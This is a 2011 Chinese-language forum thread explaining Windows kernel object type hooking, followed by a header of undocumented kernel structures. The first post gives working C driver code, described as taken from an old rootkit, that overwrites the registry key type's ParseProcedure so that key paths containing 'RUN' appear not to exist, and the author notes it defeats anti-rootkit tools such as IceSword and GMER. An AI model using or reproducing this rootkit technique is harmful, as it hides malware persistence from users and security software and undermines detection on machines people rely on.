找回密码
 加入我们

QQ登录

只需一步,快速开始

搜索
查看: 6827|回复: 2

Object Hook

[复制链接]

280

主题

203

回帖

0

精华

版主

积分
1808
发表于 2011-1-16 00:28:14 | 显示全部楼层 |阅读模式
本帖最后由 乔丹二世 于 2011-1-16 00:28 编辑

来看ObOpenObjectByName,它会调用ObpLookupObjectByName来打开一个对象

对象头(object_header)有一个object type结构
object type结构里有一个TypeInfo,结构是OBJECT_TYPE_INITIALIZER
typedef struct _OBJECT_TYPE_INITIALIZER {
    USHORT Length;
    BOOLEAN UseDefaultObject;
    BOOLEAN CaseInsensitive;
    ULONG InvalidAttributes;
    GENERIC_MAPPING GenericMapping;
    ULONG ValidAccessMask;
    BOOLEAN SecurityRequired;
    BOOLEAN MaintainHandleCount;
    BOOLEAN MaintainTypeList;
    POOL_TYPE PoolType;
    ULONG DefaultPagedPoolCharge;
    ULONG DefaultNonPagedPoolCharge;
    PVOID DumpProcedure;
    PVOID OpenProcedure;
    PVOID CloseProcedure;
    PVOID DeleteProcedure;
    PVOID ParseProcedure;
    PVOID SecurityProcedure;
    PVOID QueryNameProcedure;
    PVOID OkayToCloseProcedure;
} OBJECT_TYPE_INITIALIZER, *POBJECT_TYPE_INITIALIZER;



OBJECT_TYPE_INITIALIZER 结构中一个指针ParseProcedure就是用来实现这类对象的打开的
OBJECT_TYPE_INITIALIZER 中类似的有
DumpProcedure;OpenProcedure;CloseProcedure;DeleteProcedure;ParseProcedure;SecurityProcedure;QueryNameProcedure;OkayToCloseProcedure;
分别对应着对象的删除、lookup、获取名字等的例程,一般对象不是所有的routine都有。

这些都是在ObCreateObjectType(系统启动时)填充的

例如KeyObject的TypeInfo:
lkd> dt _OBJECT_TYPE_INITIALIZER 839b25e0+60
  +0x000 Length          : 0x4c
  +0x002 UseDefaultObject : 0x1 ''
  +0x003 CaseInsensitive  : 0 ''
  +0x004 InvalidAttributes : 0x30
  +0x008 GenericMapping  : _GENERIC_MAPPING
  +0x018 ValidAccessMask  : 0x1f003f
  +0x01c SecurityRequired : 0x1 ''
  +0x01d MaintainHandleCount : 0 ''
  +0x01e MaintainTypeList : 0x1 ''
  +0x020 PoolType        : 1 ( PagedPool )
  +0x024 DefaultPagedPoolCharge : 0x74
  +0x028 DefaultNonPagedPoolCharge : 0
  +0x02c DumpProcedure    : (null)
  +0x030 OpenProcedure    : (null)
  +0x034 CloseProcedure  : 0x8062cedc    nt!CmpCloseKeyObject+0
  +0x038 DeleteProcedure  : 0x8062cdc2    nt!CmpDeleteKeyObject+0
  +0x03c ParseProcedure  : 0x806250c2    nt!CmpParseKey+0
  +0x040 SecurityProcedure : 0x8062cc24    nt!CmpSecurityMethod+0
  +0x044 QueryNameProcedure : 0x8062be7e    nt!CmpQueryKeyName+0
  +0x048 OkayToCloseProcedure : (null)

那么很简单了,我们只要HOOK这些函数例程就可以了
例如hook ParseProcedure,那么可以令得无法打开特定的Object
这些函数例程的原始例程是比较难搜索到的,结合多段跳,可以很容易地让反rootkit工具检查不到这种HOOK

HOOK了之后,冰刃(蹦出“无法打开”)和GMER都无法打开目标的注册表键,当然uty的那个新的反ROOTKIT工具也是不行~(直接解析注册表的例如DarkSpy则可以)

以下是很老的一个RK里的代码,用于进行这个处理,小改了一下:

PVOID OldParseKey;
//安装HOOK
void InstallAdvRegHook()
{

    UNICODE_STRING RegPath ;
    OBJECT_ATTRIBUTES oba ;
    HANDLE RegKeyHandle ;
    NTSTATUS status ;
    PVOID KeyObject ;
    PMYOBJECT_TYPE CmpKeyObjectType ;


    RtlInitUnicodeString(&RegPath, L"\\Registry\\Machine\\System" );
    InitializeObjectAttributes( &oba ,
        &RegPath ,
        OBJ_KERNEL_HANDLE|OBJ_CASE_INSENSITIVE ,
        0 ,
        0 );
   
    RegKeyHandle=0;

    status=ZwOpenKey(&RegKeyHandle,KEY_QUERY_VALUE,&oba);
   
    if (!NT_SUCCESS(status ))
    {
        KDMSG(("open the system key failed!\n"));
        return ;
    }
   
//首先随便打开一个注册表键,得到对象

    status=ObReferenceObjectByHandle(RegKeyHandle,
        GENERIC_READ,
        NULL,
        KernelMode,
        &KeyObject,
        0);

    if (!NT_SUCCESS(status ))
    {
        KDMSG(("reference the key object failed!\n"));
        ZwClose(RegKeyHandle);
        return ;
    }

    __asm
    {
        push eax
        mov eax,KeyObject
        mov eax,[eax-0x10]
        mov CmpKeyObjectType,eax
        pop eax
    }

    KDMSG(("key object type :%08x \n" , CmpKeyObjectType ));
   
    //get the key object type
//获得注册表键对象类型,即CmpKeyObjectType

    OldParseKey = CmpKeyObjectType->TypeInfo.ParseProcedure ;
   
    KDMSG(("key parseProcedure routine :%08x \n ", OldParseKey ));
   
    if (!MmIsAddressValid(OldParseKey))
    {
        ObDereferenceObject(KeyObject);
        ZwClose(RegKeyHandle);
        return ;
    }
//保存原始的ParseProcedure



    CmpKeyObjectType->TypeInfo.ParseProcedure  = (ULONG) FakeParseKey;

//进行HOOK
    ObDereferenceObject(KeyObject);
    ZwClose(RegKeyHandle);
                    return  ;
   

}

//HOOK函数

NTSTATUS FakeParseKey(POBJECT_DIRECTORY RootDirectory,
                    POBJECT_TYPE ObjectType,
                    PACCESS_STATE AccessState,
                    KPROCESSOR_MODE AccessCheckMode,
                    ULONG Attributes,
                    PUNICODE_STRING ObjectName,
                    PUNICODE_STRING RemainingName,
                    PVOID ParseContext ,
                    PSECURITY_QUALITY_OF_SERVICE SecurityQos ,
                    PVOID *Object)
{
  NTSTATUS stat ;
    WCHAR Name[300];
  RtlCopyMemory(Name , ObjectName->Buffer , ObjectName->MaximumLength );
  _wcsupr(Name);

if (wcsstr(Name , L"RUN"))
  {
//检查是不是要保护的注册表键

    return STATUS_OBJECT_NAME_NOT_FOUND ;
  }

    __asm
    {
        push    eax
        push    Object
        push    SecurityQos
        push    ParseContext
        push    RemainingName
        push    ObjectName
        push    Attributes
        movzx    eax, AccessCheckMode
        push    eax
        push    AccessState
        push    ObjectType
        push    RootDirectory
        call    OldParseKey

        mov    stat, eax
        pop    eax

    }
    return stat ;
}

280

主题

203

回帖

0

精华

版主

积分
1808
 楼主| 发表于 2011-1-16 00:32:18 | 显示全部楼层
//object hook需要的一个头文件
#ifndef KRNLSTRUCTS_H
#define KRNLSTRUCTS_H

typedef struct _STACK_FRAME
{
    struct _STACK_FRAME *PreviousFrame;
    ULONG *ReturnAddress;
    ULONG Parameters[1];
} STACK_FRAME;

//////////////////////////////////////////////////////////////////

typedef struct _HANDLE_ENTRY
{
    union
    {
        ULONG HandleAttributes; // HANDLE_ATTRIBUTE_MASK
        struct _OBJECT_HEADER *ObjectHeader; // HANDLE_OBJECT_MASK
    };
    union
    {
        ACCESS_MASK GrantedAccess; // if used entry
        ULONG NextEntry;             // if free entry
    };
} HANDLE_ENTRY, *PHANDLE_ENTRY;

typedef struct _HANDLE_TABLE
{
    ULONG Flags;
    ULONG HandleCount;
    PHANDLE_ENTRY **Table;
    struct _EPROCESS *Process;
    HANDLE ProcessID;
    ULONG FirstFreeEntry;
    ULONG NextPoolIndex;
    ERESOURCE HandleTableLock;
    LIST_ENTRY HandleTableList;
    KEVENT Contention;
} HANDLE_TABLE, *PHANDLE_TABLE;

typedef struct _OBJECT_HANDLE_COUNT_ENTRY
{
  PEPROCESS Process;
  ULONG HandleCount;
} OBJECT_HANDLE_COUNT_ENTRY, *POBJECT_HANDLE_COUNT_ENTRY;

//////////////////////////////////////////////////////////////////

typedef struct _OBJECT_DUMP_CONTROL
{
    PVOID Stream;
    ULONG Detail;
} OB_DUMP_CONTROL, *POB_DUMP_CONTROL;

typedef VOID (*OB_DUMP_METHOD)(
    IN PVOID Object,
    IN POB_DUMP_CONTROL Control OPTIONAL
    );

typedef enum _OB_OPEN_REASON
{
    ObCreateHandle,
    ObOpenHandle,
    ObDuplicateHandle,
    ObInheritHandle,
    ObMaxOpenReason
} OB_OPEN_REASON;


typedef VOID (*OB_OPEN_METHOD)(
    IN OB_OPEN_REASON OpenReason,
    IN PEPROCESS Process OPTIONAL,
    IN PVOID Object,
    IN ACCESS_MASK GrantedAccess,
    IN ULONG HandleCount
    );

typedef BOOLEAN (*OB_OKAYTOCLOSE_METHOD)(
    IN PEPROCESS Process OPTIONAL,
    IN PVOID Object,
    IN HANDLE Handle
    );

typedef VOID (*OB_CLOSE_METHOD)(
    IN PEPROCESS Process OPTIONAL,
    IN PVOID Object,
    IN ACCESS_MASK GrantedAccess,
    IN ULONG ProcessHandleCount,
    IN ULONG SystemHandleCount
    );

typedef VOID (*OB_DELETE_METHOD)(
    IN PVOID Object
    );

typedef NTSTATUS (*OB_PARSE_METHOD)(
    IN PVOID ParseObject,
    IN PVOID ObjectType,
    IN OUT PACCESS_STATE AccessState,
    IN KPROCESSOR_MODE AccessMode,
    IN ULONG Attributes,
    IN OUT PUNICODE_STRING CompleteName,
    IN OUT PUNICODE_STRING RemainingName,
    IN OUT PVOID Context OPTIONAL,
    IN PSECURITY_QUALITY_OF_SERVICE SecurityQos OPTIONAL,
    OUT PVOID *Object
    );

typedef NTSTATUS (*OB_SECURITY_METHOD)(
    IN PVOID Object,
    IN SECURITY_OPERATION_CODE OperationCode,
    IN PSECURITY_INFORMATION SecurityInformation,
    IN OUT PSECURITY_DESCRIPTOR SecurityDescriptor,
    IN OUT PULONG CapturedLength,
    IN OUT PSECURITY_DESCRIPTOR *ObjectsSecurityDescriptor,
    IN POOL_TYPE PoolType,
    IN PGENERIC_MAPPING GenericMapping
    );

typedef NTSTATUS (*OB_QUERYNAME_METHOD)(
    IN PVOID Object,
    IN BOOLEAN HasObjectName,
    OUT POBJECT_NAME_INFORMATION ObjectNameInfo,
    IN ULONG Length,
    OUT PULONG ReturnLength
    );

typedef struct _OBJECT_TYPE_INITIALIZER
{
    USHORT Length;
    BOOLEAN UseDefaultObject;
    BOOLEAN Reserved;
    ULONG InvalidAttributes;
    GENERIC_MAPPING GenericMapping;
    ULONG ValidAccessMask;
    BOOLEAN SecurityRequired;
    BOOLEAN MaintainHandleCount;
    BOOLEAN MaintainTypeList;
    POOL_TYPE PoolType;
    ULONG DefaultPagedPoolCharge;
    ULONG DefaultNonPagedPoolCharge;
    OB_DUMP_METHOD DumpProcedure;
    OB_OPEN_METHOD OpenProcedure;
    OB_CLOSE_METHOD CloseProcedure;
    OB_DELETE_METHOD DeleteProcedure;
    OB_PARSE_METHOD ParseProcedure;
    OB_SECURITY_METHOD SecurityProcedure;
    OB_QUERYNAME_METHOD QueryNameProcedure;
    OB_OKAYTOCLOSE_METHOD OkayToCloseProcedure;
} OBJECT_TYPE_INITIALIZER, *POBJECT_TYPE_INITIALIZER;

typedef struct _OBJECT_TYPE
{
    ERESOURCE Mutex;
    LIST_ENTRY TypeList;
    UNICODE_STRING Name;
    PVOID DefaultObject;
    ULONG Index;
    ULONG TotalNumberOfObjects;
    ULONG TotalNumberOfHandles;
    ULONG HighWaterNumberOfObjects;
    ULONG HighWaterNumberOfHandles;
    OBJECT_TYPE_INITIALIZER TypeInfo;
} OBJECT_TYPE, *POBJECT_TYPE;

typedef struct _OBJECT_DIRECTORY_ENTRY
{
    struct _OBJECT_DIRECTORY_ENTRY *ChainLink;
    PVOID Object;
} OBJECT_DIRECTORY_ENTRY, *POBJECT_DIRECTORY_ENTRY;

typedef struct _DEVICE_MAP
{
    ULONG ReferenceCount;
    struct _OBJECT_DIRECTORY *DosDevicesDirectory;
    ULONG DriveMap;
    UCHAR DriveType[32];
} DEVICE_MAP, *PDEVICE_MAP;

typedef struct _OBJECT_SYMBOLIC_LINK
{
    LARGE_INTEGER CreationTime;
    UNICODE_STRING LinkTarget;
    UNICODE_STRING LinkTargetRemaining;
    PVOID LinkTargetObject;
    ULONG DosDeviceDriveIndex;
} OBJECT_SYMBOLIC_LINK;

typedef struct _OBJECT_HEADER_CREATOR_INFO
{
  LIST_ENTRY TypeList;
  HANDLE CreatorUniqueProcess;
  USHORT CreatorBackTraceIndex;
  USHORT Reserved;
} OBJECT_HEADER_CREATOR_INFO, *POBJECT_HEADER_CREATOR_INFO;

typedef struct _OBJECT_CREATE_INFORMATION
{
    ULONG Attributes;
    HANDLE RootDirectory;
    PVOID ParseContext;
    KPROCESSOR_MODE ProbeMode;
    ULONG PagedPoolCharge;
    ULONG NonPagedPoolCharge;
    ULONG SecurityDescriptorCharge;
    PSECURITY_DESCRIPTOR SecurityDescriptor;
    PSECURITY_QUALITY_OF_SERVICE SecurityQos;
    SECURITY_QUALITY_OF_SERVICE SecurityQualityOfService;
} OBJECT_CREATE_INFORMATION, *POBJECT_CREATE_INFORMATION;

typedef struct _OBJECT_HEADER_QUOTA_INFO
{
  ULONG PagedPoolCharge;
  ULONG NonPagedPoolCharge;
  ULONG SecurityDescriptorCharge;
  PEPROCESS ExclusiveProcess;
} OBJECT_HEADER_QUOTA_INFO, *POBJECT_HEADER_QUOTA_INFO;

typedef struct _OBJECT_HANDLE_COUNT_DATABASE
{
  ULONG CountEntries;
  OBJECT_HANDLE_COUNT_ENTRY HandleCountEntries[1];
} OBJECT_HANDLE_COUNT_DATABASE, *POBJECT_HANDLE_COUNT_DATABASE;

typedef struct _OBJECT_HEADER_HANDLE_INFO
{
    union
    {
            POBJECT_HANDLE_COUNT_DATABASE HandleCountDataBase;
            OBJECT_HANDLE_COUNT_ENTRY SingleEntry;
    };
} OBJECT_HEADER_HANDLE_INFO, *POBJECT_HEADER_HANDLE_INFO;

#define NUMBER_HASH_BUCKETS 37
typedef struct _OBJECT_DIRECTORY
{
    OBJECT_DIRECTORY_ENTRY *HashBuckets[NUMBER_HASH_BUCKETS];
    OBJECT_DIRECTORY_ENTRY **LookupBucket;
    BOOLEAN LookupFound;
    USHORT SymbolicLinkUsageCount;
    DEVICE_MAP *DeviceMap;
} OBJECT_DIRECTORY, *POBJECT_DIRECTORY;

typedef struct _OBJECT_HEADER_NAME_INFO
{
  POBJECT_DIRECTORY Directory;
  UNICODE_STRING Name;
  ULONG Reserved;
} OBJECT_HEADER_NAME_INFO, *POBJECT_HEADER_NAME_INFO;

typedef struct _OBJECT_HEADER
{
    LONG ReferenceCount;
    union
        {
        LONG HandleCount;
        PSINGLE_LIST_ENTRY SEntry;
    };
    POBJECT_TYPE Type;
    UCHAR NameInfoOffset;
    UCHAR HandleInfoOffset;
    UCHAR QuotaInfoOffset;
    UCHAR Flags;
    union
        {
        POBJECT_CREATE_INFORMATION ObjectCreateInfo;
        PVOID QuotaBlockCharged;
    };

    PSECURITY_DESCRIPTOR SecurityDescriptor;
    QUAD Body;
} OBJECT_HEADER, *POBJECT_HEADER;

#define OBJECT_TO_OBJECT_HEADER( o ) \
    CONTAINING_RECORD( (o), OBJECT_HEADER, Body )
#define OBJECT_HEADER_TO_EXCLUSIVE_PROCESS( oh ) ((oh->Flags & OB_FLAG_EXCLUSIVE_OBJECT) == 0 ? \
    NULL : (((POBJECT_HEADER_QUOTA_INFO)((PCHAR)(oh) - (oh)->QuotaInfoOffset))->ExclusiveProcess))

#define OBJECT_HEADER_TO_QUOTA_INFO( oh ) ((POBJECT_HEADER_QUOTA_INFO) \
    ((oh)->QuotaInfoOffset == 0 ? NULL : ((PCHAR)(oh) - (oh)->QuotaInfoOffset)))

#define OBJECT_HEADER_TO_HANDLE_INFO( oh ) ((POBJECT_HEADER_HANDLE_INFO) \
    ((oh)->HandleInfoOffset == 0 ? NULL : ((PCHAR)(oh) - (oh)->HandleInfoOffset)))

#define OBJECT_HEADER_TO_NAME_INFO( oh ) ((POBJECT_HEADER_NAME_INFO) \
    ((oh)->NameInfoOffset == 0 ? NULL : ((PCHAR)(oh) - (oh)->NameInfoOffset)))

#define OBJECT_HEADER_TO_CREATE_INFO( oh ) ((oh->Flags & OB_FLAG_NEW_OBJECT) == 0 ? \
    NULL : ((oh)->ObjectCreateInfo))

#define OBJECT_HEADER_TO_CREATOR_INFO( oh ) ((POBJECT_HEADER_CREATOR_INFO) \
    (((oh)->Flags & OB_FLAG_CREATOR_INFO) == 0 ? NULL : ((PCHAR)(oh) - sizeof(OBJECT_HEADER_CREATOR_INFO))))

#define OBJ_PROTECT_CLOSE (1<<0)
#define OBJ_AUDIT_OBJECT_CLOSE (1<<2)
#define OBJ_HANDLE_ATTRIBUTES (OBJ_PROTECT_CLOSE|OBJ_INHERIT|OBJ_AUDIT_OBJECT_CLOSE)
#define OB_FLAG_NEW_OBJECT 0x01
#define OB_FLAG_KERNEL_OBJECT 0x02
#define OB_FLAG_CREATOR_INFO 0x04
#define OB_FLAG_EXCLUSIVE_OBJECT 0x08
#define OB_FLAG_PERMANENT_OBJECT 0x10
#define OB_FLAG_DEFAULT_SECURITY_QUOTA 0x20
#define OB_FLAG_SINGLE_HANDLE_ENTRY    0x40

//////////////////////////////////////////////////////////////////

#define SE_OWNER_DEFAULTED              (0x0001)
#define SE_GROUP_DEFAULTED              (0x0002)
#define SE_DACL_PRESENT                  (0x0004)
#define SE_DACL_DEFAULTED                (0x0008)
#define SE_SACL_PRESENT                  (0x0010)
#define SE_SACL_DEFAULTED                (0x0020)
#define SE_DACL_AUTO_INHERIT_REQ        (0x0100)
#define SE_SACL_AUTO_INHERIT_REQ        (0x0200)
#define SE_DACL_AUTO_INHERITED          (0x0400)
#define SE_SACL_AUTO_INHERITED          (0x0800)
#define SE_DACL_PROTECTED                (0x1000)
#define SE_SACL_PROTECTED                (0x2000)
#define SE_RM_CONTROL_VALID              (0x4000)
#define SE_SELF_RELATIVE                (0x8000)
typedef struct _SECURITY_DESCRIPTOR_RELATIVE
{
    UCHAR Revision;
    UCHAR Sbz1;
    USHORT Control;
    ULONG Owner;
    ULONG Group;
    ULONG Sacl;
    ULONG Dacl;
} SECURITY_DESCRIPTOR_RELATIVE;
typedef struct _SECURITY_DESCRIPTOR
{
  UCHAR Revision;
  UCHAR Sbz1;
  USHORT Control;
  PSID Owner;
  PSID Group;
  PACL Sacl;
  PACL Dacl;
} SECURITY_DESCRIPTOR;

typedef struct _KQUEUE
{
    DISPATCHER_HEADER Header;
    LIST_ENTRY EntryListHead;
    ULONG CurrentCount;
    ULONG MaximumCount;
    LIST_ENTRY ThreadListHead;
} KQUEUE, *PKQUEUE, *PRKQUEUE;

// Stuff not actually being used
typedef struct  { ULONG Reserved; } EPROCESS;
typedef struct  { ULONG Reserved; } ETHREAD;
typedef struct  { ULONG Reserved; } EJOB;
typedef struct  { ULONG Reserved; } ECHANNEL;
typedef struct  { ULONG Reserved; } CALLBACK_OBJECT;
typedef struct  { ULONG Reserved; } DEBUG_OBJECT;
typedef struct  { ULONG Reserved; } DESKTOP;
typedef struct  { ULONG Reserved; } EEVENT_PAIR;
typedef struct  { ULONG Reserved; } ADAPTER_OBJECT;
typedef struct  { ULONG Reserved; } DEVICE_HANDLER_OBJECT;
typedef struct  { ULONG Reserved; } CM_KEY_BODY;
typedef struct  { ULONG Reserved; } KEYED_EVENT_OBJECT;
typedef struct  { ULONG Reserved; } LPC_PORT_OBJECT;
typedef struct  { ULONG Reserved; } SECTION;
typedef struct  { ULONG Reserved; } MMSUPER_SECTION;
typedef struct  { ULONG Reserved; } EPROFILE;
typedef struct  { ULONG Reserved; } TOKEN;
typedef struct  { ULONG Reserved; } WINDOWSTATION;
typedef struct  { ULONG Reserved; } WMIGUID_OBJECT;

#endif

28

主题

116

回帖

0

精华

铜牌会员

积分
273
发表于 2011-12-4 23:56:01 | 显示全部楼层

学习一下!
您需要登录后才可以回帖 登录 | 加入我们

本版积分规则

快速回复 返回顶部 返回列表